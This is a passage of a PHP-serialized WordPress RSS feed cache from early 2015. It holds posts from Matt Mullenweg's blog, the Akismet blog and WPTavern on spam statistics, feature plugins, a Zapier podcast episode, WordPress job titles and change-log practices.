Ridiculous\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44640\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:40:\"http://ma.tt/2015/02/tech-is-ridiculous/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:433:\"<blockquote><p>Yo&#8217;s Law: &#8220;in the 21st century tech industry, satire and reality are not merely indistinguishable but actually interchangeable.&#8221;</p></blockquote>\n<p>From Jon Evans&#8217; <a href=\"http://techcrunch.com/2015/01/24/this-industry-is-still-completely-ridiculous/\">This Industry Is Still Completely Ridiculous</a>, a hilarious article with a conclusion (the ridiculous stuff is worth it) I agree with.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sun, 01 Feb 2015 22:12:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:46;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"Akismet: January 2015 Stats Roundup\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://blog.akismet.com/?p=1777\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:62:\"http://blog.akismet.com/2015/02/01/january-2015-stats-roundup/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3884:\"<p>January has been a slow and steady month in Akismet-land. Whereas <a href=\"http://blog.akismet.com/2014/12/01/november-stats-roundup/\">in</a> <a href=\"http://blog.akismet.com/2014/10/01/september-stats-roundup/\">months</a> <a href=\"http://blog.akismet.com/2014/11/03/october-stats-roundup/\">prior</a>, we&#8217;ve broken daily spam records, in January the spammers took it easy and we never saw a day with over 300 million spam comments caught.</p>\n<div id=\"attachment_1778\" class=\"wp-caption alignnone\"><img class=\"size-large wp-image-1778\" src=\"https://akismet.files.wordpress.com/2015/02/akismet-spam-and-ham-stats-january-2015.png?w=700&h=438\" alt=\"graph of akismet spam and ham daily stats january 2015\" /><p class=\"wp-caption-text\">The busiest day in January was the 4th, with almost 257 million comments, and the slowest was the 29th with just over 174 million comments.</p></div>\n<p>The <strong>total number of spam comments caught in January was a mere 6,586,661,000</strong> &#8211; compare that to the over 10 billion comments in December,<strong> that&#8217;s a drop of 35%</strong>. We did have more comments this month than the same time last year &#8211; 5% more.</p>\n<div id=\"attachment_1780\" class=\"wp-caption alignright\"><img class=\"size-medium wp-image-1780\" src=\"https://akismet.files.wordpress.com/2015/02/antique-map-of-the-world.jpg?w=300&h=211\" alt=\"Antique map of the world\" width=\"300\" height=\"211\" /><p class=\"wp-caption-text\">This image, “<a href=\"https://www.flickr.com/photos/38703275@N06/6884641242\">Old Map (90)</a>” by <a href=\"https://www.flickr.com/photos/38703275@N06/\">rosario fiore</a>, is licensed under <a href=\"https://creativecommons.org/licenses/by-nd/2.0/\">CC BY-ND 2.0</a></p></div>\n<p>Let&#8217;s put this number in perspective. The latest figures for the world population were published in 2013 by the <a href=\"http://data.worldbank.org/\">world bank</a>, and the number was just over 7 billion.</p>\n<p>If we wrote down each spam comment caught this month on a piece of paper, and handed out each of these notes to one person in the world, we&#8217;d have enough people on earth to hold all of the papers. In fact, we&#8217;d have some people left over that didn&#8217;t need to hold a piece of paper.</p>\n<p>In contrast <strong>there were only 157,555,500 legitimate comments that came through</strong> this month. <strong>Legitimate comments account for about 2%</strong> of all the content Akismet sees come through.</p>\n<p>If we wrote down each legitimate comment we got this month on a piece of paper and gave each to one person, we&#8217;d need just 2% of the world population in order to hold them all.</p>\n<p>As for Akismet&#8217;s uptime: there were no service interruptions this month. You can find information about any performance issues on this blog, via <a href=\"https://twitter.com/akismet\">Twitter</a>, and on this <a href=\"http://status.automattic.com/9931/136079/Akismet-API\">status page</a>.</p>\n<p>You may have also seen a drop in spam comments this month on your own blog. If you are having any issues with spam or with Akismet, please feel free to <a href=\"http://akismet.com/contact/\">contact us</a>, we&#8217;re happy to help <span class=\"wp-smiley wp-emoji wp-emoji-mrgreen\" title=\":mrgreen:\">:mrgreen:</span>.</p>\n<p><em>This post is part of a monthly series summarizing some stats and figures from the Akismet universe. Feel free to browse <a href=\"http://blog.akismet.com/category/monthly-roundup/\">all of the posts in the series</a>.</em></p><br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/akismet.wordpress.com/1777/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/akismet.wordpress.com/1777/\" /></a> <img alt=\"\" border=\"0\" src=\"http://pixel.wp.com/b.gif?host=blog.akismet.com&blog=116920&post=1777&subd=akismet&ref=&feed=1\" width=\"1\" height=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sun, 01 Feb 2015 16:57:09 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:7:\"Valerie\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:47;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:25:\"Matt: Federated Wikipedia\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44622\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:41:\"http://ma.tt/2015/01/federated-wikipedia/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:475:\"<p><a href=\"http://blog.jonudell.net/2015/01/22/a-federated-wikipedia/\">A federated Wikipedia by Jon Udell</a> talks about the ossification happening in the Wikipedia community, caused in part by its attachment to rules that were created with the best of intentions. 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Sometimes we have to throw out what worked before to create what will work tomorrow.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sat, 31 Jan 2015 22:50:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:48;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Matt: John Scalzi on Semicolons\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44629\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:47:\"http://ma.tt/2015/01/john-scalzi-on-semicolons/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:965:\"<blockquote><p>I write novels. And with just about every novel I write, I try to do something new or different that I haven’t done before, in order to challenge myself as a writer, and to keep developing my skills. In The Android’s Dream, of example, I wrote in the third person for the first time; in Zoe’s Tale, I had a main character—a sixteen year old girl—whose life experience was substantially different from my own; with The Human Division, I wrote a novel comprised of thirteen stand-alone “episodes.”</p>\n<p>And now? With Lock In? What new thing have I done to stretch myself as a writer and teller of tales? Well, I’ll tell you; it’s something I’m really proud of, actually:</p>\n<p>I’ve written a novel entirely free of semicolons.</p></blockquote>\n<p>John Scalzi in <a href=\"http://torforgeblog.com/2014/08/04/pacing-doesnt-just-mean-wearing-a-groove-in-the-floor/\">Pacing Doesn’t Just Mean Wearing a Groove in the Floor</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sat, 31 Jan 2015 05:03:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:49;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:61:\"WPTavern: Improvements to the Features as Plugins First Model\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38159\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:71:\"http://wptavern.com/improvements-to-the-features-as-plugins-first-model\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4185:\"<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/01/FeaturePluginModelImprovementFeaturedImage.png\" rel=\"prettyphoto[38159]\"><img class=\"size-full wp-image-38232\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/01/FeaturePluginModelImprovementFeaturedImage.png?resize=640%2C300\" alt=\"Feature Plugin Improvements\" /></a>photo credit: <a href=\"https://www.flickr.com/photos/terrancedc/9083765513/\">TerranceDC</a> &#8211; <a href=\"http://creativecommons.org/licenses/by-nc/2.0/\">cc</a>\n<p>Earlier this month, I described how the <a title=\"http://wptavern.com/the-features-as-plugins-first-model-is-a-mess\" href=\"http://wptavern.com/the-features-as-plugins-first-model-is-a-mess\">features as plugins first model is a mess</a>. Drew Jaynes, who is <a title=\"http://wptavern.com/drew-jaynes-to-lead-wordpress-4-2\" href=\"http://wptavern.com/drew-jaynes-to-lead-wordpress-4-2\">leading the development cycle for WordPress 4.2</a>, is already making headway into improving the model. Unlike previous release cycles, feature plugins that are likely to be merged into WordPress have been <a title=\"https://make.wordpress.org/core/2015/01/29/dev-chat-summary-january-28th/\" href=\"https://make.wordpress.org/core/2015/01/29/dev-chat-summary-january-28th/\">assigned a core mentor</a> at the beginning of the cycle. Assigning mentors at the beginning of the dev cycle should help make the merge process smoother and keep each project within scope.</p>\n<h2>Improved Communication</h2>\n<p>One of the biggest issues I have with feature plugins is the lack of communication regarding their progress on the <a title=\"https://make.wordpress.org/core/\" href=\"https://make.wordpress.org/core/\">Make Core</a> blog. This issue is being addressed with weekly updates that explain what&#8217;s changed, things to test, and where focus is needed. The following plugins are candidates that may be included in 4.2:</p>\n<ul>\n<li><a title=\"https://wordpress.org/plugins/press-this/\" href=\"https://wordpress.org/plugins/press-this/\">Press This</a> &#8211; Uses the <a title=\"https://make.wordpress.org/core/tag/press-this/\" href=\"https://make.wordpress.org/core/tag/press-this/\">Press This tag</a> on the Make Core blog.</li>\n<li><a title=\"https://wordpress.org/plugins/customizer-theme-switcher/\" href=\"https://wordpress.org/plugins/customizer-theme-switcher/\">Customizer Theme Switcher</a> &#8211; Uses the <a title=\"https://make.wordpress.org/core/tag/customizer-theme-switcher/\" href=\"https://make.wordpress.org/core/tag/customizer-theme-switcher/\">Customer Theme Switcher</a> tag on the Make Core blog.</li>\n</ul>\n<h2>Improved Testing Opportunities</h2>\n<p>If you browse to the Add New plugins screen in a development version of WordPress, you&#8217;ll see a Beta Testing tab. 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This small but important change makes it a lot easier to keep up with and upgrade feature plugins.</p>\n<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/01/WP42BetaTestingTab.png\" rel=\"prettyphoto[38159]\"><img class=\"size-full wp-image-38225\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/01/WP42BetaTestingTab.png?resize=1025%2C382\" alt=\"WordPress 4.2 Feature Plugin Beta Testing Tab\" /></a>WordPress 4.2 Feature Plugin Beta Testing Tab\n<p>It&#8217;s still early in the development cycle, but I&#8217;m impressed with Jaynes organizational abilities. He&#8217;s addressed some of the largest pain points to the feature plugin process. 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Zapier\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=39096\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:82:\"http://wptavern.com/this-week-on-wpweekly-wade-foster-co-founder-and-ceo-of-zapier\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1501:\"<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/06/ZapierFeaturedImage.png\" rel=\"prettyphoto[39096]\"><img class=\"aligncenter size-full wp-image-24443\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/06/ZapierFeaturedImage.png?resize=650%2C200\" alt=\"Zapier Featured Image\" /></a></p>\n<p>This Wednesday at 9:30 PM Eastern on <a title=\"http://wptavern.com/wordpress-weekly\" href=\"http://wptavern.com/wordpress-weekly\">WordPress Weekly</a>, Marcus Couch and I will be joined by Wade Foster, Co-founder and CEO of <a title=\"https://zapier.com/\" href=\"https://zapier.com/\">Zapier</a>. Zapier is a service that acts as an integration point for more than 300 applications. <a title=\"https://zapier.com/zapbook/gravity-forms/\" href=\"https://zapier.com/zapbook/gravity-forms/\">GravityForms</a>, <a title=\"http://wptavern.com/wp-remote-now-supports-zapier\" href=\"http://wptavern.com/wp-remote-now-supports-zapier\">WP Remote</a>, and <a title=\"http://www.woothemes.com/products/woocommerce-zapier/\" href=\"http://www.woothemes.com/products/woocommerce-zapier/\">WooCommerce</a> are just a few examples of popular WordPress plugins and services that support Zapier. The following video explains how it works.</p>\n<p><span class=\"embed-youtube\"></span></p>\n<p>We&#8217;re going to discuss the company&#8217;s history, how the service works, and interesting integrations people are creating with it. If you have questions you&#8217;d like us to ask Foster, submit them in the comments.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 17 Feb 2015 02:30:01 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:1;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:52:\"WPTavern: The Dude: A Fun Alternative to Hello Dolly\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=39104\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:61:\"http://wptavern.com/the-dude-a-fun-alternative-to-hello-dolly\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2280:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/the-dude.jpg\" rel=\"prettyphoto[39104]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/the-dude.jpg?resize=670%2C290\" alt=\"the-dude\" class=\"aligncenter size-full wp-image-39110\" /></a></p>\n<p>This isn&#8217;t just a plugin, man. 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The occasional acid flashback.</li>\n<li>Mr. Treehorn treats objects like women, man.</li>\n<li>Hey, careful, man, there&#8217;s a beverage here!</li>\n</ul>\n<p>Amusing, yes? So if you prefer <a href=\"http://wptavern.com/ https://www.youtube.com/watch?v=sft3VHxru2s\" target=\"_blank\">Creedence</a> to Louis Armstrong, then you may want to mix yourself a white russian and activate <a href=\"https://wordpress.org/plugins/the-dude/\" target=\"_blank\">The Dude</a> on your WordPress blog.</p>\n<p>It really ties the site together.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 17 Feb 2015 00:53:52 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:2;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"WPTavern: Why WordPress Job Titles Don’t Mean Much Anymore\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=39069\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:67:\"http://wptavern.com/why-wordpress-job-titles-dont-mean-much-anymore\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3590:\"<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/JobTitleFeaturedImage.png\" rel=\"prettyphoto[39069]\"><img class=\"size-full wp-image-39089\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/JobTitleFeaturedImage.png?resize=650%2C200\" alt=\"Job Titles Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/58871905@N03/5565517971\">I love &#8217;84</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>Mario Peshev published a great article that looks at where the WordPress community stands on <a title=\"http://devwp.eu/wordpress-job-titles-skills-stand/\" href=\"http://devwp.eu/wordpress-job-titles-skills-stand/\">job titles and skills</a>. Peshev explains why titles are out of control and how they don&#8217;t match their expected skill sets.</p>\n<blockquote><p>The problem with a number of general titles is that they are overused and it is no longer clear what the real meaning and level of expertise is. Moreover, they are so general, that it’s easy to be fooled into misusing them, seeing how many people just tag themselves in those categories.</p></blockquote>\n<p>I find it fascinating we&#8217;re having conversations on what people in the WordPress ecosystem call themselves. This is a big problem for people looking for WordPress experts who are routinely let down, because the people they&#8217;re hiring don&#8217;t actually have the skills required to get the job done.</p>\n<p>In some ways, the conversation circles back to the idea of having a <a title=\"http://wptavern.com/should-automattic-create-and-manage-a-wordpress-certification-program\" href=\"http://wptavern.com/should-automattic-create-and-manage-a-wordpress-certification-program\">WordPress certification program</a>. With a certification program, a document would clarify a person&#8217;s proficiency in WordPress. However, I think it opens up a new can of worms and isn&#8217;t the only solution.</p>\n<h2>Comparing a Corporate World to WordPress</h2>\n<p>In a typical corporation, titles are clearly laid out and each one has a set of skills attached to it. Employees know what they need to learn to get promoted to the next level. Employees also know the skills a person has with a particular title due to standards that dictate how it&#8217;s earned. In the WordPress ecosystem, titles are not earned, but rather, routinely made up. For example, I&#8217;ve used WordPress for more than seven years and consider myself a WordPress Tinkerer.</p>\n<p>Peshev outlines three distinct problems with the lack of standards, best practices, and business know-how in the WordPress community.</p>\n<ol>\n<li>Serious clients can&#8217;t find experts since everyone is an expert.</li>\n<li>Experts don&#8217;t get approached for larger systems (due to (1) ) and their time is wasted by people with the wrong perception of <em>expert</em>.</li>\n<li>The lack of satisfied clients and contractors means fewer customers are willing to invest in WordPress, fewer contractors are able to dedicate time back to WordPress, and there are fewer products developed as a result of WordPress driven projects.</li>\n</ol>\n<p>When looking at the big picture, the situation is a mess. It seems everyone has a WordPress title with no clear way to determine the skills that back it. Outside of some sort of regulation, I don&#8217;t see how the situation can improve. Perhaps the community can rally together to create a list of titles and assign appropriate skills to them? If you use a title to express your skills and knowledge to potential clients, what is it?</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 16 Feb 2015 23:24:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:3;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:93:\"WPTavern: Keep a CHANGELOG Project Aims to Standardize Best Practices for Writing Change Logs\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=39051\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:103:\"http://wptavern.com/keep-a-changelog-project-aims-to-standardize-best-practices-for-writing-change-logs\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3140:\"<p>A change log is the quickest, most convenient way for users and contributors to identify significant changes in a project as it moves from one version to the next. The log exists to keep users informed.</p>\n<p>Unfortunately, many open source project leaders have little motivation to provide a meaningful CHANGELOG file and are purely focused on shipping the code. Instead of writing clear, understandable logs for a release, many developers resort to dumping git logs, which are often rife with messy commit messages, into the CHANGELOG file.</p>\n<p><a href=\"http://olivierlacan.com/\" target=\"_blank\">Olivier Lacan</a>, software engineer at <a href=\"https://www.codeschool.com/\" target=\"_blank\">Code School</a>, has created a site and corresponding GitHub repository called <a href=\"http://keepachangelog.com/\" target=\"_blank\">Keep a CHANGELOG</a>, with an extensive collection of recommendations for writing better change logs.</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/keep-a-changelog.png\" rel=\"prettyphoto[39051]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/keep-a-changelog.png?resize=1025%2C788\" alt=\"keep-a-changelog\" class=\"aligncenter size-full wp-image-39070\" /></a></p>\n<p>The project page offers a variety of tips for improving change logs, i.e. how to list releases, recommended date format, sections and labels for classifying changes, and file naming convention.</p>\n<p>One helpful tip Lacan offers, which isn&#8217;t commonly seen among even the finest, hand-crafted CHANGELOGs, is the recommendation for keeping an &#8220;Unreleased&#8221; section at the top. This helps users track for potential changes in progress for upcoming releases. Maintaining an &#8220;Unreleased&#8221; section  minimizes the effort of writing the logs at release time, as you can easily add the version number to the section as changes are added and create a new Unreleased header.</p>\n<h3>Software Tools Are for 